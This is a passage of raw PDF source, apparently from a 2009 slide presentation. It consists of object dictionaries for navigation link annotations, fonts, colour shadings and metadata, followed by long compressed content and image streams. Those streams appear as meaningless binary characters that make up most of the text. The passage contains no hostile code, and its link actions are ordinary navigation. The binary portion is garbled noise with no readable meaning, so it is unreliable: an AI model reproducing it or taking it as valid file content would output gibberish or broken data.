/Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 73 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 74 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 75 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 76 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 77 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 78 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 79 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 80 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 81 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 82 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R >> /XObject << /Fm1 46 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Im5 55 0 R /Im6 56 0 R >> /ProcSet [ /PDF /Text ] >> endobj 83 0 obj << /Length 1914 /Filter /FlateDecode >>stream xZo5_a^Eb H@I$(r)r {޽rWQ)zf<8UPpGހZn$BzVHmJ2Ƣ5m+n1f_TZp(mAcP. )*-Eɑ# iAZGbܹ;k#KaoE}T'V"5FhL"o!+ ʐc)}>5n?1 ݷ1ҡ5 2V> B2iȘ>W5Ic<>ߛIԔ[NEKзPԝrDIzsW1;uHiCe!{c~%nD<9,RI9PŶń?߃B ^ bE=I%OV/Bu$pJPyp4x8#c~̮֘grgPω+|F#O.$#YL <֎zkE͔_VAz 5ҲF+B_zAUcQO%o*PHgJyzť&Q 3"HX>LpkG䀖$֥6wb= "D-ϭ>42Vcx"kZhHgMlPӄy9%:ڔ?܍iזy $-fC1R0nS_mE2m']fəq.v`8m\{qvvt\v)]wrq@?|l@#E|}蒚9,&3w~KFi ^j'ϫZ? ؞0Ztл{V UCe@׻[6ޠm|~5]4YiWZ6ճs_t:ށ Q2֌e/βs_ma-X>mdbk( )]e"Vլ R;Xؿ~iiA,0v3lJV\9F?-1Ⱥ6 4()Ғ,R_ 5 XQnF[T3/fnMI֫bLҴItyDh7Ǧb+Njs*ӈ'.Je?"_C$[P5ChO7]jןGO3:7ЌcSQS.R^o>ۃ#pbMp bpjڈY@9Ј6fh3éicc.I0f+[bdQ}[|5sd,I^sŒ<l`K='a*в$s+ogu .Mh|+ /ݍ'$s:ׂF="`WPƂNAdyV蔧 ÜLS _Z[WqZ 7 6ErWc/yw_U=`)$)PNlxC=L%Kx\_\rfE H^Fю@3Ea/VV)l =d%.oa#oӄw\^NZ&u7x U-Q,-_?&oq"P,WO{ȧNhJ~aU_: Dz{t21Efc^?X ~S@TՐ6>{,1#Eeu7C*_ {<OOu~5|(p=ݎv[a e endstream endobj 84 0 obj << /Type /Font /Subtype /Type1 /BaseFont /WHGCLT+CMSS8 /FontDescriptor 1265 0 R /FirstChar 11 /LastChar 123 /Widths 1255 0 R >> endobj 85 0 obj << /Type /Font /Subtype /Type1 /BaseFont /WMFGHX+CMSSI8 /FontDescriptor 1275 0 R /FirstChar 45 /LastChar 117 /Widths 1254 0 R >> endobj 86 0 obj << /D [ 45 0 R /XYZ 28.346 246.281 null ] >> endobj 87 0 obj << /Type /Font /Subtype /Type1 /BaseFont /NDGAHU+CMSS12 /FontDescriptor 1263 0 R /FirstChar 11 /LastChar 122 /Widths 1253 0 R >> endobj 88 0 obj << /D [ 45 0 R /XYZ 334.488 1.245 null ] >> endobj 89 0 obj << /D [ 45 0 R /XYZ 334.488 1.245 null ] >> endobj 90 0 obj << /Count 6 /Kids [ 45 0 R 152 0 R 203 0 R 241 0 R 276 0 R 309 0 R ] /Type /Pages /Parent 1288 0 R >> endobj 91 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 1 ] /Coords [ 0 0 0 3.9851 ] /Function << /FunctionType 2 /Domain [ 0 1 ] /C0 [ 1 1 1 ] /C1 [ 0.5 0.5 0.5 ] /N 1 >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 92 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 1 ] /Coords [ 4.00005 4.00005 0 4.00005 4.00005 4.00005 ] /Function << /FunctionType 2 /Domain [ 0 1 ] /C0 [ 0.5 0.5 0.5 ] /C1 [ 1 1 1 ] /N 1 >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 93 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 8.00009 ] /Coords [ 8.00009 8.00009 0 8.00009 8.00009 8.00009 ] /Function << /FunctionType 3 /Domain [ 0 8.00009 ] /Functions [ << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 0.5 0.5 0.5 ] /C1 [ 0.5 0.5 0.5 ] /N 1 >> << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 0.5 0.5 0.5 ] /C1 [ 1 1 1 ] /N 1 >> ] /Bounds [ 4.00005 ] /Encode [ 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 94 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 8.00009 ] /Coords [ 0 0 0 8.00009 ] /Function << /FunctionType 3 /Domain [ 0 8.00009 ] /Functions [ << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 1 1 1 ] /C1 [ 0.5 0.5 0.5 ] /N 1 >> << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 0.5 0.5 0.5 ] /C1 [ 0.5 0.5 0.5 ] /N 1 >> ] /Bounds [ 4.00005 ] /Encode [ 0 1 0 1 ] >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 95 0 obj << /Producer (Mac OS X 10.5.7 Quartz PDFContext) /CreationDate (D:20090525122120Z00'00') /ModDate (D:20090525122120Z00'00') >> endobj 96 0 obj << /Type /ExtGState /OPM 1 >> endobj 97 0 obj << /Length 3542 /Type /XObject /Subtype /Image /Width 103 /Height 104 /ColorSpace 100 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream x\v8 ̝rwʝN!!H,\=C  o!0FW.ߟ{ ].c)tJ?Vh< [_0*Xa"_I].~z@<VB5F Z1c_=%V.{w']+`碟g.×\ .9(wջX !Wxq"nJ@Ĵ9oa9S9K* ջ,bh^JAWNsb@ dEJjπK &i{6 ҦB @ɹf^%v.0ǐD!W (%>XףX8C/t֊6NɊd 8wjrK̏s &[_$DRyZ_+ a=$.=npߔk{i˖DU_w||':@AVƊ%wĒUCKXm.9;m,WD8lƳ F^uV:Sv$gb1`f]M[6IVNRmݙ Bmu2n֣1 S[lt\ǐ&:)q{Wi'+3/CWm33ݦb";ZeߊĽy ®4cgdܸ efGpIh)tO#)LHdcM3L&5?x)Dj9~z|MAوb/l sq[Jn_0D;gHE4sgij >>Ο:_bQ̡Z^1 J3ª! Yi! X^IjOO }A5pcK*\ vSR2$/:O J٫#&,NJ뽼2GASm9ħVyUjpaBXނf%]@u wXȥl8>tG^sq8E<_l>ĥ.z;^EgwA٬&PWR Xe=?dH:E7 i8@1ҷ4(ڵu'oNR߮Wn6v o}0xm4@ok }2;LPO6Y}zM;ɞ[,? tԮ(Y'KҍbA vC۩{:kmv+6X nB3R;fVg.6JO?}79N8NiFfnQHKQFo3sU9ot.'`$\&?u`܎efd_$FYíͲ^8CFa]@6@QHdN4%}=_r_ߟQnb(-/]113#\Wf7HRum420HD'r]{32| wјY27Q#w7,/!2`KsٯHD*vS}O9Z/~/caQSg@;ڴtѷx4 Gh4Nu0=~(9"RG0-OCfEuPmK~U9I#eja=U=w]GGBKrGo {ts:q7qܫbi'Dq~m X߉:k!j- sAFLq2I0PZQ"̧ p24Q]~ }=I̯5idi٢eʘd۶BGPp>;Q ƸbOeD%9/2ahP&2a88e^5@.<[@b gaK/٨~L =my1ȍƊB,vl1odM) rxk] :byxLN,yFrήu,YX>4! }=ڙY푯y\!]czInb42QS Z6ٌ؄f#;#w - ńW&L^Q뺣NP%`G)6#縣u6b58aķ*h&VR{Rt!^ŞwߨiT!@`1J28M?#bXMl3Õ:V,wK]r{^:0*Ѳ=[m SuNEb`6$`#Vk 3k[ˁrͬ']ɜ|/`Ī4z|$r3߂N'7~L^RЧ2zw!KC? m. endstream endobj 98 0 obj 68 endobj 99 0 obj 3542 endobj 100 0 obj [ /ICCBased 101 0 R ] endobj 101 0 obj << /Length 792 /N 3 /Alternate /DeviceRGB /Filter /FlateDecode >>stream xMHaї$T& R+SeL b}wg-E"u.VDNC:DuE^";cT03y|URcE4`λޘvztLUF\)s:k-iYj6|vP4*wd>,y vڴ=S԰79 ڸ@`ӋmvUl5`P=Gj)kP*}6~^/~.~a2 nײ0%f|U 9l7?j`l7"tiNf]?uhgM Zʲ4i[&LY_x {xO$̥߬S]%֧&7g̞>r=g8`候 8rʶ<dWT'<eL~.u"A=9뗚]>313X3-$e}u,gmg664$ыEzL*LZ_j_]Xy[?Xs N/ ]|msϚƫk_WfȸA2)oz-di2|m٣j|5ԥej8ɮeE7[Q|IM%ײxf)|6\ k`Ҳ䍐.> endobj 104 0 obj << /Type /ExtGState /OPM 1 >> endobj 105 0 obj << /Length 76635 /Type /XObject /Subtype /Image /Width 600 /Height 238 /ColorSpace 108 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream x}G0DrΙABF(4"c kq&~g;j`5MMu]Uϭ{o'J@(QD % J@(QD % J@(QD % J@(QD % J@(QD % J@(QD % J@(QD }IT{l߫<G?p(QD -HhC~@OS+'J@(Qs ʯa| r "0|+_(QD <2C6a-RheR'J@(Qw 0 $(FuبCD % J@/@޿1 ߏZ?c XQD %@N?ZvIQEoK8q??x!c%'J@(Q~;A 8s))}ۆ 8 '6/"%v&D J1: 0˟9q(0L~v 7z<-)U% J@s' wV1?Uz#{#A^$/YKm /EXj{SqqwL$ Ծs'D %𻒀~cf^Kړp]{mA6QwSί|5+1d+Q% J@(R ߎ_ؓ;xv3p*nco5g;V{GÄ!,% J@()+ qivCfcIjM?*x2ߪvR@jhZ)[w`D % Jx?tPkA{c?PiP}P!ͫ_Hd>D R\#g7 ڡs_/_~{ǶwyJ_ƾx_I?rzƞ ]r:Z*|Vs އCPHGW{4Ǟٍ9([W_hZ!5F.M(y.nۼ} V1BzϿ_F{oc]CO?TПC8W=F)F9VVq{Jr~nK=kC2%$_ s>QH_*bk׿~vYYo8gso֡@zc_OC"$`>@ƊWXtm/A{mkG?l>UT?~{5u$j&J)H>~ AgHrKsx?67,~j9lJhy/_K/(0i"^@ds[+ohڧ}4ށIOe>S)Ua.+|c7[WO^]c 1|!}Ѧ ؗ|3BQK ?W{ouDu95:wa8ŽWO>":pnuצ:^%L z~@'88ș2BzLm"XrT%\Ո ?9)b2f]c:eԚȄ}aaA NN;ǔ/]pŁe*wԟiccp#2g<9r~$2O*:2sx'UG)kٳ(ikX)RɎ}K7 QEz^:77/j6V;T-?Q񜜜l)rNUuΞ*ѽvwOeȪaZBW*C³br"riUZ:e搌ÐXv.EIܞ# dU>A?ss#jqU晗VQŢ%## (`'<wG⥡AroךN.n5՞rWߚ%>9n16J="kK޲^U A w* ֺGxEDVFbAxi ۂ*C+2y>GN`\Eۆ얦,. qUA~s|m9v&Bz/uԙ.ћn(Tb@P٠cJ?c+B]2Ʉ!(\7Mp_lxY@?N#5w1eRy/ )nTxөkPEz0t l':Cr[z:TXuIՋx@k0V.p6.=IǍqz6*gQ2]_GGot] 9&h pĉ , H !t Y& C­vwjW6y))7:+ݪmVS,qv]縢a_eT&J2;Fg:yu |E}. q d[`\eYXHS\9Ǽq,_y MgO׳曺$<;Ox|Kg3~ CٵQHC9J$ajG*FY1B?덈'O |%h.|:6Z@M0>j.~M! 6<4! @ jؓT6j# !gm4R䔍c]p@|OG {?o b;"hи A=!p1$-΋vn[+라ή2[JU dۊY+OHxRPsqSTJnrEE)Y{<DYP)U;07 h8HC(}q4X FB毙Yz Z_4L8GuAjfr$m$Sw@ت0!'^Qe \s(8(l]6uvv ˝77ڪpKʴ4GjTfS㲼q_%#a@*[*:!Վ KyJK|/r-3 Cd;9ULqFCdA.q&I y-)sھcbCCӧSut ݠ*h& uuH&BU"(!IjG\5|9ZY㨧B2 EMaph^-fO㨿b CF祵s*@eJ*Z{5s SqPT@XUIgԧD 04t@xEpRhPgvMYY~x1NciC1]M3RKqg(T){YD;ܶ0VQ qޅxTu^1&M Hʙ BړLًr(e*UJ߻Ƃ6 ҆Bmx0& NslWCyc ,Hc92Mݫodl8 i(56yոܪ@ͼ]X/&9(k,Bvkp^UVF.q&J֕)5Ud]53Z-q'?]r5bCU\ uqrL,zU>B_Q0C6/LA`D!DA`Cs|Z:[_ =jdq ݠ,5Àӌ&NW2jډ>(TXQ\c!9,=`ƙ.|z'~+0A BHȉB2 /li'QvM?Q5DgF?:S>&`|!jn-\Xa7I1׾֧v&hee&IkIM"dV;3# ו]J&=67z*7DWYǗnؒ+Y_ Y[n_m6 }( jP*WC a WTԹd43v /;x"Ԥv [ DӜ) P^Ɓ0\1d %11d/WMNԑ»F`lЅlZ2d27:TgAYaVUN%%0>1%a׎A! 4ܶe;i9=o9Rh<~0jOf1Pinot m` QA&(QUUj6y z8 9W%Iy/l\?'an~A<k[=jVJMWk-l QT6z[KO(:(뼥 yM+m+K[6zlHnX&5\iZj>(8P襘װпq[,NK,% 66 Xg3!rO+k\Uxt54"0f8C{A.A%['50H,q> '/qlUbbIwYg A(E wlC6@QKS#NVaK,S|A&X(>ȷ;TO՗ش-'0>~Y~~oy7=ݻ=ܹ{H~ؔHIЍ`)qKU{׹z̃TY^봵6[n.^Rgը}_c| 3}O5.,3<մ$}odwn%ˍvUk^Z_ꓧ:(5SY+l;'QHo}:UBqb1ˁZ5j1i.kƒ*k㲖ԂU*.IݨcRw̺hdmx?|eF.{~ӷHw~$[x7HsG޿s㗓z“<;'߿ݥ̉#z^k9q& ӈ#Nfvd{wYNlu7 h7E@h}i,aH NT")(6@/7N18j:[|!n_%Ƽ)1g*H}zYhWsfD`5w`V䋏<6 58]ej5J҆'2Dyaΐ#נg/^QlL~WؐI曯_d]8DG R#4ĵDE`(P;K @0;wn/_W:#EZU4sKJ򰠒WÇeU[0_7rbj9*+9䳯>k+ot ۯhbsbصihf&$uGf]8t7>p3魴o+e }y7wfk3B:S3k5fTU9.DU MԐ@PTR.С6"̯nS1Mϋ788{/?0B渉w|swoܾy̞M݀ Ҵ+<44:´Vn1e[ Kg`niu[t*ؗ н:l̀NJ-j}~6$TKUN;4NaX< Kt"+gRZ*3b}L8n/ևtS^|,PԄsuWY@G MlnI]#e}3 0"f6xΧo ?WrarEə!&k!U3uE{b_x˷.=S (CM;n=E^|y&0UO)B*l,k5;wb Hğ\\D%J6| aspcMSx+2'p՛o  H_)7 *7'E(A m)\ YV>1RJӀjˤY+-«M U3 $ 1azVP0 %$(5 #4e{J vʴHPPo[پ2关6͆>& Q#ך9#>TPw`ߎ*1,Lo~-B4h<# A 8<+'"cZTZ=w H&x=k >Z^R!LeD0A`@O_A۸s{Hiu-Ć$J@[`NsL @qCF쬷|iSBi.kA AgP{N\ d?J9Oɛq,z@@[a"ktQe[|@(jmLh)G3=ḳgztpޑ6*lkJ) H2P!̃t22uRk;u7hFPKR#XPRBiJ(2//3l沢YI9ar[X23Y@YJ,Mhyғ]) (Rxϳ.~듛ny=zL쉼9!_L<FaCDΕY^ 5vPG_~>*5K  h q0",j![;8&7܍ϻd߈sc6Jc{yЦĞhZ"5u.㉐Pr,nޮ_䶹oԼFIa5f~7y594umH=1=NuK{K](t)j*H:}@gi_Xeo0;HQVCVCӏ!cnnc56л s*"=;K rH% *R1tzQ~( dKcP98{ZSr꾕]aYKc/]X$Xveg|8f13qi|ktF861i=MX7^z5|gP <LtƢ(LLo~}%OY oH8Ƙ`kP9l-ĂD|@ lwt8q#R4Zm!LC1}$Sw:Lf'5\7wkaNâej-Ka[7sJu34\,]-ݚ, JH|0PvI[jiii48dTZ<'m2Jjp!z{SEdfO;ܬJXѿ iQ{%4c=>]J3\ӫ1L đa7m,!>*μ5Գٽ PxgDw(1EE8x~k)O] R+l ԡp_v04 0!3u+"(I$ԌpAOHK;6CIs,}}ޭٻA/k٤Ym\V:kUIK|0A曔ٍ ՞V۷<6 m7[3cqyxPwiȋDF^F^a  d֬_<*]cMzi=hn~=Ga= ᆃ:  q+3~Uo -%0( D[3p|#,}\eSviGcXX* /_}!Y‰ϰx=oSlME 0 >x [S©m?S~>Yу'?Y|ŢG P&>7l@{pHħƒxOTH*zN!p's-!u(c叞ۙ]E> +eZ!Rb^jmfOjlp慀(Vh i#ÒȆ_Li5h3%&h)ab #8Z$uC-[ 굞_CiJ#L宼@9FǻE(xeԏ& Ȁ%XġiZt#E(p]e q-_ {A1Rٺrf` pd %O İ6Z~nMbo[;zf$9 9SB4"@GD.ʩy͋.xOt=?53S:bD 'GEsQHA,=A+Qd% F d&$|mWW܄~a 6YV=p"AtOť?X} h2\9ó^&B Kv)spډ^nC(?kFB'w@Ê^7 '@F4_LmQricB? QB!sXiJHGҠ f b;ht pn2U|V"LBre||erdeem!p-0w"4=|9Hjҍ].w.بH3RXQU"nvԾZ.2%{[22FC9QX  |i\iBz,o.3 w-dNO $,9]Kb}C'IvwHB{ wDA7הב'>^-4R=K?I5'Dayվ( 2/Ծv*IDL\B ybU im6!=p,]yףؽb0g\qD]Mg$8Um5brHi8\PzELUDy'Q ~ҍ0^2"Wi (е? JF|kFp-3tӄYra=[{<fsL1{–eg|ff #(ȰrH":РWd5ޅty5XuOI4,_!P/QZR} `aHa8tb,'ۤw.膞—> Xu/Dhf4iH`&셡bhz o~nL25#C }UQZ ~[՗k" 夢ԆPW73<'>AީH#a™>E\H{3%:* o{6%p`?ѱ>NP) kiK EguAPhxv%Za!f+|kbgΞcR`|"fQBHҺh*\2Zשf[]ݙL@eFq ZfD: F@@cD2[ 3՘9O$)ГWwvٜl7K/%Uk!a2)'gAh+E{*urfGb y:O1(̝2ȣ~]{4T܂4Pox?}v7*a = ND]Q.ė OwVc:@Q$ 9Hi`~On~.+$ExF.Nk醚:;$Ƈ;P 8LyB'%j{$Y5 kT whHh# LvQ'IQ#ҫ@wxrbK6*='Պ f2򬲂$cC(⅚WRxWe0hUdf b Y\5ki{ <-V42z۠̀:XFPk 4hq{fhmn*@*S )M#,!mtVb9&9{T]f3!& 4{l"sT9uXԩ kD"nOɓUɕ#⡱O,A~ iK}>zf.f4L+<2II8:^c U̦7'oD],: ' |ǟ TTBGٴKWOaxZƲ-( 8$(y}PPݻO4|C&XnF[xR$-o=08Lu|U~7H{RPrͅ4<=󫸴v=N~sP*YA-0pY ?y>x0Xwz͛o/Hה(u]eV:>G8Hm/jl= zui6z/RQ->e'j6-d{AJ ,\:|#,A=s"0py.eg^TIh,ࠅ{[{er1SxZeJ2%-F'Zgenu828v6NR}&CY 9$$@Zz}z^ a46`7'b?^;!7m+6MMXW5a06(a)VSzV M,З2;:|&w"n "Wa*n-֘ji0-4l[*0СbOJJ u,P-\COdoc+(8N c]UU55o#/ u[3/gS=|yθ{Ld rP(ʉ.?C:$Kg~'ZA^]{ǃP0!%,yJ=Cj1wD)U6Q#[aAAhEBgG`kQ5S" \?mw! &|1bcG5];=*mfE,ρF_jX0bt @b#@և,.( i#(!@$s\k{f6 n zY~O $fafann4tٝDNNP]2x+!H"QB`")Qq:ȅۃ"TdJGqw* VZ  }D`ZD{mc^J a>Tjۂ)b$md;E /\:>=y`mhDvw9LQ ?u5k7(wqw]*MWUpa/I Q QY$G5ү~#LBrSc3/ʉa"ps&I*liB&MxwËCEҎJ`VvyQBՃ|㒤q(0]˩S5J=8m//̄ ȣeAh #bDBuM*~]0HjDMer)`ِ~pC2! ci1u4a .Y],hj[*MA,rGhO2<ڬa&#/[.d^n/w'*g5XzՃ Z=̂³}vf9p Gi~6&&: l:ha9']V8?!D2Hx FI ڈ D0DR443L dch1mE`=2 wn/^DN%Ât}nf]gtl5xr*daH񁁈2PDcQ RF< 7 9Z X _@t[ |i(H4$sYPCw!/BE}饗7׉_]5n@}7~C8.8E H$VKKJ4i]],6ǟˁ;$({nKpKi''oh6Mrr?6E4Q՞U>* qZ_*=6{s[kxO3sѰvGERb  F])`A,r/t͇6y`Q]hDvya[9{UiX1-t[f׆fy $4!zWӎ-s9z6X,mniU8@ ?iNk\~tz8y5׳t<) :Y޻5Cy]s% UVP"=\AЗHq}ƈeh g̍Qm*7!Rwz?A!VjXxzo,1?CqS=pu^hBҋvS ̩KH39aZ.f?@D(Xf'[cb}hB?q uIP0d4_bk77R06!<]OkI׭FqPiSh1.޻aAm/p$>w<賊 *+! // .^I~:4q>q`#?}!KcLsTXM8x"s'j}Imdp^]aXfS״+(L/Rc= ѳklfܑ @f CPkR'2](cXһZϯ o]ӳ̭ܿ1)@9C_ץžڭ&^tnE^]~CAmӅ=w[{^AcQ+{_YHM%Rբ6wbb- #y8RRDž$ܓiJ `P:ɣ->Xmdʰ(-C`PN` @!ré0 HC[SJ,Jv}  0 1Qؓg|6 6A؈_~WWCo-J.4Lkw`_v.g%ycJt(Į O}|F &.I8zwԿ0pdySN/g`Gw@[m0XWzY4E I^ٸp!تL|čw%IK^aF]lz<1V`HO[g%Q+cvH-#d6𒈖b ھ:}u 2:1AB'AlhM^fuJ&GLntU]^웫< a[]NmV ,(YXڽtpۥ˹ۥn$Vdv(b *ϮVڳbra(Kaz R0NucPxV?)Zٓ 9g 뤵Kz 8h3Ҏ X-U*ZV0 n SCbhB"ly&Lb/mYM -?^m ,?ɾW}p&A1vڧQMK|< F41? =Ly*\ Ř83~۸{<(8S3Asr)|[h kOV}ц/ϱf`Ęu(`"JؖzL=/5V>R=6 Iɭ(CZy]ߪMV0!J d:\fH8pC~yЋA6^ .ymֶ_X](,Y |)RRj pwqeCW'@>2D] dI;vRA![έҁ]BZR |D$h,EA@xy05/SUQAE+"MRe (Y-HI:ipkUڇBu(Kb0gVMΫ@P^ū *GI ,*:6:// ޥ;>o5UQx  DZmɎۏ Ms~ E(TqVB9yqPX`fsX͖ܶs"KDkI$^/ڧvK$UjVk[34U' ᅇ 5R'[ܿEB#Jê`yA>6AfFlk}=m;.#D(юq}KD?5Y>ter& \݋5.ױE\5)59j nva}~-3(% @ tثѺu|-`14=0E-qEKV`LJ^gPD6H`ܩFHZն$h \;1|e԰8?A]O&{~ (hð{ 8 ٞϞQlS]/* ъRhW+ƟH>A!@l--mDK P{7'>=bvsW>ŕ0Vˮ?VﺹjQfC8a#WeH|fZUrcAD;*^=!bXр}zPoݠ征{Z+maϻk~Q ]LfʽKym,GHsˆt'_ dP Z㹸僁݋s@- {``<w)Ԥ4Galg X=f KG^)P#\F=߁iDZPTrPj[o²>'e~e.d'.e1 VuEt EJ޸L(<uHeMkap{A\' @Ћn-IBS Jg ~ ?S1\ -z 4"}|O"8 vB-Wk'}DgA|`ۃT֫n+5?X`u'ӮY[bH5cwW2u!Hixq!i{>`(@%du?$!ƣ6TzѠ&{ |.i)R .dtHiE*q~˹W}ؔV 6КV`D&~_-PEUW@$GjZ\7 SrQhX&W l-Է-`O~+0"l^qyɝQ^Y,hYyc k \3d}|"=-T5 1j,-՝[$Pyd9wᑧ ̖>| gh6pww aSA6'/I8 1dH Ҭ>I^' ! i_%uhfZ^o?9=aJ5vJ(7ܰ(m9m\AFuiGE*8&_ ?@ cd/uNx`Ps`8圚Ёk{\ s1W _i 8IӯD9i>rCZέT1Zѻwb&R.n kp@lБv^J)R9fͰ©Բ~7تsPsCN R{Wóo-0tJdofgXɪJg2%B;>#ȹiCSTO:uG:zN0(4U?9=9> .n>7aXfc l{Ee8#4 @9>; Dp2 mRrjAFٻRn;(2LI6a"zLpIxGjm7a8PhD%\ !ݴ6 _uA/CCXm6]> JXW-&B_ގ`p '!K#. µX=_9~(Oz0W)F‡kA-4eWwvazTr&.B,"QZ~* P`=@ Ja>Z&눑'#ZnOV~Z#\'c485::78u{0ǾU0{P% t$>:.4 g+Q{jljSpmB3! L_TA 7P oBd [ׂ ³{WDY~ȵfwSL4,h`]NÒY >Һ~ܘD9$J84=]hՌ5j!6,Xot%hmor:rquݙ h`Ùe4[|~| ~&icg 8f/om>Js}n8 FؠRT¬:R X 6C`7B} [ =Q` J응 {f9FaB*tƓzN͊΅O=%iY Fժ(7eeNޅ!qF6/"~$mz"wR(¦ݻ'`aRbGF5}nCG ϋb]]4<)*g |,h>qf/ N4x^V`k%ӉٔgQx"\0>9C͎MJMvFރԡM/eQsBr8vb E'ޒnc/$=5E8DBM=4猽gi!YY8YS<5c|MAz 44mQM_x^SM,A Ć %i^Sx2,:#< FȐ{%a= ݁5McOm  PJbEf/8ί5v24{[ ~|DwcƺGvoҼ_cOY?…ovTEO]B`7!ŭm<@xꢲ?'I:SxTz9> ˣ ]?Cau%M਄ O$9A-"M )%X^~Vrd~A|}y{a[W',1yj`at%ȠUJLhDʉq %!RMc+;XpT-:%nrNx-mA0A8z6-< sDݐ#"Z3/v8cLbLK8W cNhS@C|o +hrf3vNfmV o-NA*X (h7R`(5UPK4ntJrBC؞FF' WvF|TqC ாDke[/a{.%\j.Uk:OtQkNOr7ijM#ģ'!VpTNFLss `uXcڄלANc9]LLhT|q<_{}I #ŔfϱBd+#>AD? k@`Y{@tl,^ŕ#*h݈JxI2BLJiק9A<[H͌Ȣc!}Zv"\v7g6&΋WY0LЧ 7A}2 s (`ֆ"!(A!HB@C M]\ҋ5A JBvVZ,]l\ENOKaF b)=;tZP$gK 5-pjtplm9צۻ Pۨ 2+Sx ==KtB G!$&ڄ'j'}]$&BF=Is a A<:-D 5nRꀋn$yp"yN|TYӪu U|hTx0@%3Մ&P&^u/+T?[0 )FX_)\jSm,52Z+I$0S|C:iBhwP-6+._ӜNq?s#eX  g#!6^ᨆ(U?p E :#uA l>Psd@1QHP@qn,=wn3,"Ջ0Q9X'E ` `jROA5s%o,7QlHK2ps~bG9. . <~&1?g.ݺzL@?}x.>Et^$c xӄM蒼 &F}ՌaQ_L9n|S磚 < ˦)OUs+ʃҳՋ m| /KFa!\ʍm 6TޡM i'@yv!k!?Ony״׈=xRt5ҷ d5n˙B9(sK'1"wybki{ut BjmZW[JgVvG+z.38(PJy~5a` j8H_B%LpmǶ`yXob*x3׏ _M ù'E ^wSv@G^M;̳L;}# @CYe ]?xc8>!PGn~ppLRX}Ww?"x#0iziKKFjJƑҽ}U6~Fu쯜Jigܩ-XAʷqq| 7!Y(aOj #᭸4󩿣^@m/z:_ X ^&7M_ЇcXs|Q' OA(' y zrN9n})׊/B 1|AMHP(Vl1?۟ aiit ?NLq29՛ȗF?݆5V2]}3Ae'8󙈑 S#v3~~q/>_=q7*AIVt)Ve"hR}Af`9p+mc*il[N%^L뛞aRe^xX>,x_we[VV&ʳkafЧanHs*r/by8_ ]b$ tk'qnD Gp?ŜS&xyG'b \rF:4c8v\?x: r| sGVՕpS!]\yq}٘N;<j5;!9 >Ad06bʲcV5%ma$ fgwpqmvQ`1c m +"9p}Iףg! {m/0(+\H&a&)cBVc )TCyyk9EqW97G6pރ=I *fBo7{IHBhԻ\'Ӝ8>1ךٌ$ ,}mlٳj+7qdR5VrfR/Ӱmڹ+|4h*d[:'Ik%ѿnk6&BW%+)qP|MTRmGO*(G(/DB-3 -Lfpz/rݹ#6fRD`KE\b3)Tĝ\BG,8X9Ly zAlbCjgۭfk뤓 nzpEwv] b,3 QҺij _Hf5-&N)J#)UQYBs7~NK!::WqQ !tz\lJncJ2&lJv=4ji_ئn$!Lz4"$ ?%޲η(_3XS.4ngϘ/9 T:)+|UZř+A|+z3jZ*8\yڦ6bRն)ޫ̛6 kp,HԦz8NtSQ'֦>_ TiVu}\M;)wAJ; U翾;ָw#; #ކE˧e F9H 5ACXԯȂ@)]K"WI዇v&D>FR vn|# rƟjX 7$V؅n 8@v #`qkrK,j5UKaeY=0DP( 11-i i}p2! nF$>h38Sن `;vk =TPl{,G>&s85o |0x[j`"az98C>VTìI tpQClNyn&"WOמ_ƛ:(t<_=}qW$~S?\hV>#QXOY"̪&ra/J`xó|Dl[.sSڙd%t'/F%u3mh'i"V2Q`τA냩 o8vojTrA栞qFo9.Q𚲅{3LJMspu{],)0`zy =DLgU䁇HPS2ȃ>XeMRdSL#ZǝGh'G 'B+ϕ.:}Hj>Tq3-A% Dc 